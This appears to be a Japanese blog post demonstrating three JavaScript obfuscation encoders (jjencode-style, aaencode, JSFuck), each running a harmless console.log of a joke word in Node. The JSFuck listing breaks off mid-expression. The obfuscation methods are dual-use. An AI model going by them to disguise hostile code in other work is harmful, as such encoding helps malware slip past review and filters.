$ node -e '$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$$__+$._$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.__$+$.$$_+$._$$+$._$+(![]+"")[$._$_]+$.$$$_+"."+(![]+"")[$._$_]+$._$+"\\"+$.__$+$.$__+$.$$$+"(\\\"\\"+$._+$._$$+$.___+$.$__+$.$$_+"\\"+$._+$._$$+$.___+$.$__$+$._$$+"\\"+$._+$._$$+$.___+$.$_$+$._$$+"\\\"\\"+$.$__+$.___+")"+"\"")())();'
うんこ

aaencode

http://utf-8.jp/public/aaencode.html

$ cat unko.js 
゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(o゚ー゚o)+ (o^_^o)+ (c^_^o)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(o゚ー゚o)+ (o^_^o)+ (c^_^o)+ ((゚ー゚) + (゚ー゚) + (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(o゚ー゚o)+ (o^_^o)+ (c^_^o)+ ((゚ー゚) + (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
$ node unko.js 
うんこ

これだけコンソールから実行できなかった。中のコードでうまくエスケープできてないものがあると思われ。。

JSFuck

http://www.jsfuck.com/

$ node -e '[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]](([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][(![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()(([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[!+[]+!+[]]+(+(+!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()(([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]]([+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]